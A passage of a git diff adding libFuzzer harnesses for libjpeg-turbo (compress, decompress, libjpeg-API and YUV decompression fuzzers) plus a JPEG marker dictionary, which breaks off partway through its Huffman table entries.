LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include +#include +#include + +extern "C" unsigned char * +_tj3LoadImageFromFileHandle8(tjhandle handle, FILE *file, int *width, + int align, int *height, int *pixelFormat); + + +#define NUMTESTS 6 + + +struct test { + int bottomUp; + enum TJPF pf; + enum TJSAMP subsamp; + int fastDCT, quality, optimize, progressive, arithmetic, restartBlocks; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + unsigned char *imgBuf = NULL, *srcBuf, *dstBuf = NULL, *yuvBuf = NULL; + int width = 0, height = 0, ti; + FILE *file = NULL; + struct test tests[NUMTESTS] = { + /* + BU Pixel Subsampling Fst Qual Opt Prg Ari Rst + Format Level DCT Blks */ + { 0, TJPF_XBGR, TJSAMP_444, 1, 100, 0, 0, 0, 0 }, + { 0, TJPF_XRGB, TJSAMP_422, 0, 90, 0, 1, 0, 4 }, + { 0, TJPF_BGR, TJSAMP_420, 0, 75, 0, 0, 0, 0 }, + { 0, TJPF_RGB, TJSAMP_411, 0, 50, 1, 0, 0, 0 }, + { 0, TJPF_BGR, TJSAMP_GRAY, 0, 25, 0, 0, 1, 0 }, + { 1, TJPF_GRAY, TJSAMP_GRAY, 1, 10, 0, 1, 1, 4 } + }; + + if ((file = fmemopen((void *)data, size, "r")) == NULL) + goto bailout; + + if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL) + goto bailout; + + for (ti = 0; ti < NUMTESTS; ti++) { + int pf = tests[ti].pf; + size_t dstSize = 0, maxBufSize, i, sum = 0; + + /* Test non-default compression options on specific iterations. */ + tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp); + tj3Set(handle, TJPARAM_FASTDCT, tests[ti].fastDCT); + tj3Set(handle, TJPARAM_OPTIMIZE, tests[ti].optimize); + tj3Set(handle, TJPARAM_PROGRESSIVE, tests[ti].progressive); + tj3Set(handle, TJPARAM_ARITHMETIC, tests[ti].arithmetic); + tj3Set(handle, TJPARAM_NOREALLOC, 1); + tj3Set(handle, TJPARAM_RESTARTBLOCKS, tests[ti].restartBlocks); + + tj3Set(handle, TJPARAM_MAXPIXELS, 1048576); + /* tj3LoadImage8() will refuse to load images larger than 1 Megapixel, so + we don't need to check the width and height here. */ + fseek(file, 0, SEEK_SET); + if ((imgBuf = _tj3LoadImageFromFileHandle8(handle, file, &width, 1, + &height, &pf)) == NULL) { + if (size < 2) + continue; + + /* Derive image dimensions from input data. Use first 2 bytes to + influence width/height. These must be multiples of the maximum iMCU + size for the subsampling levels we plan to test. */ + width = ((data[0] % 4) + 1) * 32; /* 32-128, multiple of 32 */ + height = ((data[1] % 8) + 1) * 16; /* 16-128, multiple of 16 */ + + size_t required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf]; + if (size < required_size) { + /* Not enough data - try smaller dimensions */ + width = 32; + height = 16; + required_size = 2 + (size_t)width * height * + tjPixelSize[tests[ti].pf]; + if (size < required_size) + continue; + } + + /* Skip header bytes. */ + srcBuf = (unsigned char *)data + 2; + } else + srcBuf = imgBuf; + + dstSize = maxBufSize = tj3JPEGBufSize(width, height, tests[ti].subsamp); + if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL) + goto bailout; + if ((yuvBuf = + (unsigned char *)malloc(tj3YUVBufSize(width, 1, height, + tests[ti].subsamp))) == NULL) + goto bailout; + + tj3Set(handle, TJPARAM_SUBSAMP, tests[ti].subsamp); + tj3Set(handle, TJPARAM_QUALITY, tests[ti].quality); + if (tj3EncodeYUV8(handle, srcBuf, width, 0, height, pf, yuvBuf, 1) == 0 && + tj3CompressFromYUV8(handle, yuvBuf, width, 1, height, &dstBuf, + &dstSize) == 0) { + /* Touch all of the output data in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < dstSize; i++) + sum += dstBuf[i]; + } + + tj3Free(dstBuf); + dstBuf = NULL; + free(yuvBuf); + yuvBuf = NULL; + tj3Free(imgBuf); + imgBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + free(yuvBuf); + tj3Free(imgBuf); + if (file) fclose(file); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/decompress.cc b/lib/libjpeg-turbo/fuzz/decompress.cc new file mode 100755 index 0000000..2c0b2f0 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/decompress.cc @@ -0,0 +1,146 @@ +/* + * Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include + + +#define NUMPF 5 + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + void *dstBuf = NULL; + int width = 0, height = 0, precision, sampleSize, pfi; + /* TJPF_RGB-TJPF_BGR share the same code paths, as do TJPF_RGBX-TJPF_XRGB and + TJPF_RGBA-TJPF_ARGB. Thus, the pixel formats below should be the minimum + necessary to achieve full coverage. */ + enum TJPF pixelFormats[NUMPF] = + { TJPF_RGB, TJPF_BGRX, TJPF_ABGR, TJPF_GRAY, TJPF_CMYK }; + + if ((handle = tj3Init(TJINIT_DECOMPRESS)) == NULL) + goto bailout; + + /* We ignore the return value of tj3DecompressHeader(), because malformed + JPEG images that might expose issues in libjpeg-turbo might also have + header errors that cause tj3DecompressHeader() to fail. */ + tj3DecompressHeader(handle, data, size); + width = tj3Get(handle, TJPARAM_JPEGWIDTH); + height = tj3Get(handle, TJPARAM_JPEGHEIGHT); + precision = tj3Get(handle, TJPARAM_PRECISION); + sampleSize = (precision > 8 ? 2 : 1); + + /* Ignore 0-pixel images and images larger than 1 Megapixel, as Google's + OSS-Fuzz target for libjpeg-turbo did. Casting width to (uint64_t) + prevents integer overflow if width * height > INT_MAX. */ + if (width < 1 || height < 1 || (uint64_t)width * height > 1048576) + goto bailout; + + tj3Set(handle, TJPARAM_SCANLIMIT, 100); + + for (pfi = 0; pfi < NUMPF; pfi++) { + int w = width, h = height; + int pf = pixelFormats[pfi], i; + int64_t sum = 0; + + /* Test non-default decompression options on the first iteration. */ + tj3Set(handle, TJPARAM_BOTTOMUP, pfi == 0); + tj3Set(handle, TJPARAM_FASTUPSAMPLE, pfi == 0); + + if (!tj3Get(handle, TJPARAM_LOSSLESS)) { + tj3Set(handle, TJPARAM_FASTDCT, pfi == 0); + + /* Test IDCT scaling on the second and third iterations. */ + if (pfi == 1 || pfi == 2) { + tjscalingfactor sf = { 1, pfi == 1 ? 2 : 8 }; + tj3SetScalingFactor(handle, sf); + w = TJSCALED(width, sf); + h = TJSCALED(height, sf); + } else + tj3SetScalingFactor(handle, TJUNSCALED); + + /* Test partial image decompression on the second and fourth iterations, + if the image is large enough. */ + if ((pfi == 1 || pfi == 3) && w >= 97 && h >= 75) { + tjregion cr = { 32, 16, 65, 59 }; + tj3SetCroppingRegion(handle, cr); + } else + tj3SetCroppingRegion(handle, TJUNCROPPED); + } + + if ((dstBuf = tj3Alloc(w * h * tjPixelSize[pf] * sampleSize)) == NULL) + goto bailout; + + if (precision == 8) { + if (tj3Decompress8(handle, data, size, (unsigned char *)dstBuf, 0, + pf) == 0) { + /* Touch all of the output pixels in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < w * h * tjPixelSize[pf]; i++) + sum += ((unsigned char *)dstBuf)[i]; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + } else if (precision == 12) { + if (tj3Decompress12(handle, data, size, (short *)dstBuf, 0, pf) == 0) { + /* Touch all of the output pixels in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < w * h * tjPixelSize[pf]; i++) + sum += ((short *)dstBuf)[i]; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + } else { + if (tj3Decompress16(handle, data, size, (unsigned short *)dstBuf, 0, + pf) == 0) { + /* Touch all of the output pixels in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < w * h * tjPixelSize[pf]; i++) + sum += ((unsigned short *)dstBuf)[i]; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + } + + tj3Free(dstBuf); + dstBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > ((1LL << precision) - 1LL) * 1048576LL * tjPixelSize[pf]) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/decompress_libjpeg.cc b/lib/libjpeg-turbo/fuzz/decompress_libjpeg.cc new file mode 100755 index 0000000..9a40209 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/decompress_libjpeg.cc @@ -0,0 +1,291 @@ +/* + * Copyright (C) 2021-2024, 2026 D. R. Commander. All Rights Reserved. + * Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* This fuzzer uses the libjpeg API to exercise code paths that are not covered + * by the other fuzzers (or by the TurboJPEG API in general): + * + * - JCS_UNKNOWN (NULL color conversion with a component count other than 3 or + * 4) + * - Floating point IDCT + * - Buffered-image mode + * - Interstitial line skipping + * - jpeg_save_markers() with a length limit + * - Custom marker processor + * - JCS_RGB565 + * - Color quantization + */ + +#include +#include +#include +#include +#include + +extern "C" { +#include "../src/jpeglib.h" +#include "../src/jerror.h" +} + + +struct fuzzer_error_mgr { + struct jpeg_error_mgr pub; + jmp_buf setjmp_buffer; +}; + + +static void fuzzer_error_exit(j_common_ptr cinfo) +{ + struct fuzzer_error_mgr *fuzz_err = (struct fuzzer_error_mgr *)cinfo->err; + + longjmp(fuzz_err->setjmp_buffer, 1); +} + + +static void fuzzer_emit_message(j_common_ptr cinfo, int msg_level) +{ +} + + +static int64_t marker_sum = 0; + +static boolean custom_marker_processor(j_decompress_ptr cinfo) +{ + struct jpeg_source_mgr *src = cinfo->src; + INT32 length; + + /* Read and consume the 2-byte length field. */ + if (src->bytes_in_buffer < 2) + return FALSE; + + length = ((INT32)src->next_input_byte[0] << 8) + + (INT32)src->next_input_byte[1]; + src->next_input_byte += 2; + src->bytes_in_buffer -= 2; + length -= 2; + + if (length < 0) + return FALSE; + + /* Consume and touch all marker data in order to catch uninitialized reads + when using MemorySanitizer. */ + while (length > 0) { + if (src->bytes_in_buffer == 0) { + if (!(*src->fill_input_buffer) (cinfo)) + return FALSE; + } + + size_t available = (size_t)length < src->bytes_in_buffer ? + (size_t)length : src->bytes_in_buffer; + + for (size_t i = 0; i < available; i++) + marker_sum += src->next_input_byte[i]; + + src->next_input_byte += available; + src->bytes_in_buffer -= available; + length -= (INT32)available; + } + + return TRUE; +} + + +#define NUMTESTS 7 + + +struct test { + J_COLOR_SPACE out_color_space; + boolean quantize_colors; + boolean two_pass_quantize; + J_DITHER_MODE dither_mode; +}; + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + struct jpeg_decompress_struct cinfo; + struct fuzzer_error_mgr jerr; + JSAMPARRAY buffer = NULL; + int row_stride; + int numTests = 1; + struct test tests[NUMTESTS] = { + /* + Output Quantize 2-Pass Dither + Colorspace Colors Quant Mode + */ + { JCS_RGB565, FALSE, FALSE, JDITHER_NONE }, + { JCS_RGB565, FALSE, FALSE, JDITHER_ORDERED }, + { JCS_UNKNOWN, TRUE, FALSE, JDITHER_NONE }, + { JCS_UNKNOWN, TRUE, FALSE, JDITHER_ORDERED }, + { JCS_UNKNOWN, TRUE, FALSE, JDITHER_FS }, + { JCS_UNKNOWN, TRUE, TRUE, JDITHER_NONE }, + { JCS_UNKNOWN, TRUE, TRUE, JDITHER_FS } + }; + + /* Reject too-small input. */ + if (size < 2) + return 0; + + cinfo.err = jpeg_std_error(&jerr.pub); + jerr.pub.error_exit = fuzzer_error_exit; + jerr.pub.emit_message = fuzzer_emit_message; + + jpeg_create_decompress(&cinfo); + + for (int ti = 0; ti < numTests; ti++) { + int64_t sum = 0; + + marker_sum = 0; + + if (setjmp(jerr.setjmp_buffer)) { + jpeg_abort_decompress(&cinfo); + continue; + } + + jpeg_mem_src(&cinfo, data, (unsigned long)size); + + for (int m = JPEG_APP0; m <= JPEG_APP0 + 15; m++) { + if (m != JPEG_APP0 + 3) + jpeg_save_markers(&cinfo, m, 256); + } + jpeg_set_marker_processor(&cinfo, JPEG_APP0 + 3, custom_marker_processor); + + jpeg_read_header(&cinfo, TRUE); + + /* Sanity check dimensions to avoid memory exhaustion. Casting width to + (uint64_t) prevents integer overflow if width * height > INT_MAX. */ + if (cinfo.image_width < 1 || cinfo.image_height < 1 || + (uint64_t)cinfo.image_width * cinfo.image_height > 1048576) + goto bailout; + + cinfo.dct_method = JDCT_FLOAT; + cinfo.buffered_image = jpeg_has_multiple_scans(&cinfo); + if (((cinfo.jpeg_color_space == JCS_YCbCr || + cinfo.jpeg_color_space == JCS_RGB) && cinfo.num_components == 3) || + (cinfo.jpeg_color_space == JCS_GRAYSCALE && + cinfo.num_components == 1)) { + cinfo.out_color_space = tests[ti].out_color_space; + if (cinfo.jpeg_color_space == JCS_GRAYSCALE) { + numTests = 5; + if (cinfo.out_color_space == JCS_UNKNOWN) + cinfo.out_color_space = JCS_GRAYSCALE; + } else { + numTests = 7; + if (cinfo.out_color_space == JCS_UNKNOWN) + cinfo.out_color_space = ti % 2 ? JCS_RGB : JCS_EXT_BGR; + } + cinfo.quantize_colors = tests[ti].quantize_colors; + cinfo.two_pass_quantize = tests[ti].two_pass_quantize; + cinfo.dither_mode = tests[ti].dither_mode; + } + + if (!jpeg_start_decompress(&cinfo)) { + jpeg_abort_decompress(&cinfo); + continue; + } + + row_stride = cinfo.output_width * cinfo.output_components; + buffer = (*cinfo.mem->alloc_sarray) + ((j_common_ptr)&cinfo, JPOOL_IMAGE, row_stride, 1); + + if (cinfo.buffered_image) { + /* Process all scans. */ + while (!jpeg_input_complete(&cinfo) && + cinfo.input_scan_number != cinfo.output_scan_number) { + int retval; + + if (cinfo.input_scan_number > 100) { + jpeg_abort_decompress(&cinfo); + goto bailout; + } + + /* Consume input data until we have a complete scan or reach the end + of input. */ + do { + retval = jpeg_consume_input(&cinfo); + } while (retval != JPEG_SUSPENDED && retval != JPEG_REACHED_SOS && + retval != JPEG_REACHED_EOI); + + if (retval == JPEG_REACHED_EOI) + break; + + /* Start outputting the current scan. */ + if (!jpeg_start_output(&cinfo, cinfo.input_scan_number)) + break; + + while (cinfo.output_scanline < cinfo.output_height) { + if (!cinfo.two_pass_quantize && + (cinfo.output_scanline == 0 || cinfo.output_scanline == 16)) { + JDIMENSION output_scanline = cinfo.output_scanline; + + jpeg_skip_scanlines(&cinfo, 8); + if (cinfo.output_scanline == output_scanline) + break; + } else { + if (jpeg_read_scanlines(&cinfo, buffer, 1) != 1) + break; + /* Touch all of the output pixels in order to catch uninitialized + reads when using MemorySanitizer. */ + for (int i = 0; i < row_stride; i++) + sum += buffer[0][i]; + } + } + + /* Finish this output pass. */ + if (!jpeg_finish_output(&cinfo)) + break; + } + + } else { + + while (cinfo.output_scanline < cinfo.output_height) { + if (!cinfo.two_pass_quantize && + (cinfo.output_scanline == 0 || cinfo.output_scanline == 16)) + jpeg_skip_scanlines(&cinfo, 8); + else { + jpeg_read_scanlines(&cinfo, buffer, 1); + for (int i = 0; i < row_stride; i++) + sum += buffer[0][i]; + } + } + + } + + jpeg_finish_decompress(&cinfo); + + /* Prevent the sums above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > (int64_t)255 * 1048576 * 4 || + marker_sum > (int64_t)255 * 1048576) + goto bailout; + } + +bailout: + jpeg_destroy_decompress(&cinfo); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/decompress_yuv.cc b/lib/libjpeg-turbo/fuzz/decompress_yuv.cc new file mode 100755 index 0000000..a899df7 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/decompress_yuv.cc @@ -0,0 +1,120 @@ +/* + * Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include + + +#define NUMPF 4 + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + unsigned char *dstBuf = NULL, *yuvBuf = NULL; + int width = 0, height = 0, jpegSubsamp, pfi; + /* TJPF_RGB-TJPF_BGR share the same code paths, as do TJPF_RGBX-TJPF_XRGB and + TJPF_RGBA-TJPF_ARGB. Thus, the pixel formats below should be the minimum + necessary to achieve full coverage. */ + enum TJPF pixelFormats[NUMPF] = + { TJPF_BGR, TJPF_RGBA, TJPF_XRGB, TJPF_GRAY }; + + if ((handle = tj3Init(TJINIT_DECOMPRESS)) == NULL) + goto bailout; + + /* We ignore the return value of tj3DecompressHeader(), because malformed + JPEG images that might expose issues in libjpeg-turbo might also have + header errors that cause tj3DecompressHeader() to fail. */ + tj3DecompressHeader(handle, data, size); + width = tj3Get(handle, TJPARAM_JPEGWIDTH); + height = tj3Get(handle, TJPARAM_JPEGHEIGHT); + jpegSubsamp = tj3Get(handle, TJPARAM_SUBSAMP); + + /* Ignore 0-pixel images and images larger than 1 Megapixel. Casting width + to (uint64_t) prevents integer overflow if width * height > INT_MAX. */ + if (width < 1 || height < 1 || (uint64_t)width * height > 1048576) + goto bailout; + + tj3Set(handle, TJPARAM_SCANLIMIT, 100); + + for (pfi = 0; pfi < NUMPF; pfi++) { + int w = width, h = height; + int pf = pixelFormats[pfi], i, sum = 0; + + /* Test non-default decompression options on the first iteration. */ + if (!tj3Get(handle, TJPARAM_LOSSLESS)) { + tj3Set(handle, TJPARAM_BOTTOMUP, pfi == 0); + tj3Set(handle, TJPARAM_FASTUPSAMPLE, pfi == 0); + tj3Set(handle, TJPARAM_FASTDCT, pfi == 0); + + /* Test IDCT scaling on the second and third iteration. */ + if (pfi == 1 || pfi == 2) { + tjscalingfactor sf = { pfi == 1 ? 3 : 1, 4 }; + tj3SetScalingFactor(handle, sf); + w = TJSCALED(width, sf); + h = TJSCALED(height, sf); + } else + tj3SetScalingFactor(handle, TJUNSCALED); + } + + if ((dstBuf = (unsigned char *)tj3Alloc(w * h * tjPixelSize[pf])) == NULL) + goto bailout; + if ((yuvBuf = + (unsigned char *)tj3Alloc(tj3YUVBufSize(w, 1, h, + jpegSubsamp))) == NULL) + goto bailout; + + if (tj3DecompressToYUV8(handle, data, size, yuvBuf, 1) == 0 && + tj3DecodeYUV8(handle, yuvBuf, 1, dstBuf, w, 0, h, pf) == 0) { + /* Touch all of the output pixels in order to catch uninitialized reads + when using MemorySanitizer. */ + for (i = 0; i < w * h * tjPixelSize[pf]; i++) + sum += dstBuf[i]; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + + tj3Free(dstBuf); + dstBuf = NULL; + tj3Free(yuvBuf); + yuvBuf = NULL; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * 1048576 * tjPixelSize[pf]) + goto bailout; + } + +bailout: + tj3Free(dstBuf); + tj3Free(yuvBuf); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/fuzz/jpeg.dict b/lib/libjpeg-turbo/fuzz/jpeg.dict new file mode 100755 index 0000000..3651758 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/jpeg.dict @@ -0,0 +1,400 @@ +# JPEG Dictionary for libFuzzer +# Contains JPEG markers, common signatures, and important byte patterns + +# ================================================== +# JPEG markers (2-byte sequences starting with 0xFF) +# ================================================== + +# Start Of Image/End Of Image (SOI/EOI) +soi="\xff\xd8" +eoi="\xff\xd9" + +# Start Of Frame (SOF0-SOF15) + +# Baseline DCT +sof0="\xff\xc0" +# Extended sequential DCT, Huffman coding +sof1="\xff\xc1" +# Progressive DCT, Huffman coding +sof2="\xff\xc2" +# Lossless, Huffman coding +sof3="\xff\xc3" +# Differential sequential DCT, Huffman coding +sof5="\xff\xc5" +# Differential progressive DCT, Huffman coding +sof6="\xff\xc6" +# Differential lossless, Huffman coding +sof7="\xff\xc7" +# Sequential DCT, arithmetic coding +sof9="\xff\xc9" +# Progressive DCT, arithmetic coding +sof10="\xff\xca" +# Lossless, arithmetic coding +sof11="\xff\xcb" +# Differential sequential DCT, arithmetic coding +sof13="\xff\xcd" +# Differential progressive DCT, arithmetic coding +sof14="\xff\xce" +# Differential lossless, arithmetic coding +sof15="\xff\xcf" + +# Define Huffman Tables (DHT) +dht="\xff\xc4" + +# Define Arithmetic Coding conditioning (DAC) +dac="\xff\xcc" + +# Define Quantization Tables (DQT) +dqt="\xff\xdb" + +# Define Restart Interval (DRI) +dri="\xff\xdd" + +# Start Of Scan (SOS) +sos="\xff\xda" + +# Restart (RST0-RST7) +rst0="\xff\xd0" +rst1="\xff\xd1" +rst2="\xff\xd2" +rst3="\xff\xd3" +rst4="\xff\xd4" +rst5="\xff\xd5" +rst6="\xff\xd6" +rst7="\xff\xd7" + +# Application (APP0-APP15) +app0="\xff\xe0" +app1="\xff\xe1" +app2="\xff\xe2" +app3="\xff\xe3" +app4="\xff\xe4" +app5="\xff\xe5" +app6="\xff\xe6" +app7="\xff\xe7" +app8="\xff\xe8" +app9="\xff\xe9" +app10="\xff\xea" +app11="\xff\xeb" +app12="\xff\xec" +app13="\xff\xed" +app14="\xff\xee" +app15="\xff\xef" + +# Comment (COM) +com="\xff\xfe" + +# Define Number of Lines (DNL) +dnl="\xff\xdc" + +# Expand reference components (EXP) +exp="\xff\xdf" + +# JPEG extensions (JPG0-JPG13) +jpg0="\xff\xf0" +jpg1="\xff\xf1" +jpg2="\xff\xf2" +jpg3="\xff\xf3" +jpg4="\xff\xf4" +jpg5="\xff\xf5" +jpg6="\xff\xf6" +jpg7="\xff\xf7" +jpg8="\xff\xf8" +jpg9="\xff\xf9" +jpg10="\xff\xfa" +jpg11="\xff\xfb" +jpg12="\xff\xfc" +jpg13="\xff\xfd" + +# Temporary (TEM) +tem="\xff\x01" + +# Reserved (RES) +res_02="\xff\x02" +res_bf="\xff\xbf" + +# Fill byte (byte stuffing) +fill="\xff\x00" + +# ============================== +# Application segment signatures +# ============================== + +# JFIF signature (in APP0) +jfif="JFIF\x00" +jfif_ver="\x01\x01" +jfif_ver2="\x01\x02" + +# JFXX signature (in APP0) +jfxx="JFXX\x00" + +# Exif signature (in APP1) +exif="Exif\x00\x00" + +# XMP signature (in APP1) +xmp="http://ns.adobe.com/xap/1.0/\x00" + +# ICC Profile signature (in APP2) +icc="ICC_PROFILE\x00" + +# Adobe signature (in APP14) +adobe="Adobe\x00" + +# Photoshop signature (in APP13) +photoshop="Photoshop 3.0\x008BIM" + +# ============================ +# TIFF/Exif byte order markers +# ============================ + +tiff_le="II\x2a\x00" +tiff_be="MM\x00\x2a" + +# ================================= +# Common length values (big-endian) +# ================================= + +len_2="\x00\x02" +len_4="\x00\x04" +len_8="\x00\x08" +len_16="\x00\x10" +len_17="\x00\x11" +len_32="\x00\x20" +len_64="\x00\x40" +len_128="\x00\x80" +len_256="\x01\x00" +len_512="\x02\x00" +len_1024="\x04\x00" + +# ============================================ +# Image dimensions (common values, big-endian) +# ============================================ + +dim_1="\x00\x01" +dim_8="\x00\x08" +dim_16="\x00\x10" +dim_64="\x00\x40" +dim_128="\x00\x80" +dim_256="\x01\x00" +dim_512="\x02\x00" +dim_1024="\x04\x00" +dim_2048="\x08\x00" +dim_4096="\x10\x00" + +# ======================== +# Component counts and IDs +# ======================== + +comp_1="\x01" +comp_2="\x02" +comp_3="\x03" +comp_4="\x04" + +# Component IDs (Y, Cb, Cr) +comp_y="\x01" +comp_cb="\x02" +comp_cr="\x03" +comp_r="\x52" +comp_g="\x47" +comp_b="\x42" + +# =========================================== +# Sampling factors (packed H:V into one byte) +# =========================================== + +samp_11="\x11" +samp_21="\x21" +samp_12="\x12" +samp_22="\x22" +samp_41="\x41" +samp_14="\x14" +samp_44="\x44" + +# ====================== +# Quantization table IDs +# ====================== + +qt_0="\x00" +qt_1="\x01" +qt_2="\x02" +qt_3="\x03" +qt_16bit_0="\x10" +qt_16bit_1="\x11" + +# ======================================= +# Huffman table class and ID combinations +# ======================================= + +ht_dc_0="\x00" +ht_dc_1="\x01" +ht_dc_2="\x02" +ht_dc_3="\x03" +ht_ac_0="\x10" +ht_ac_1="\x11" +ht_ac_2="\x12" +ht_ac_3="\x13" + +# ===================== +# Data precision values +# ===================== + +prec_8="\x08" +prec_12="\x0c" +prec_16="\x10" + +# ===================================== +# Huffman code lengths (for DHT marker) +# ===================================== + +huff_0_codes="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +huff_std_dc="\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00" 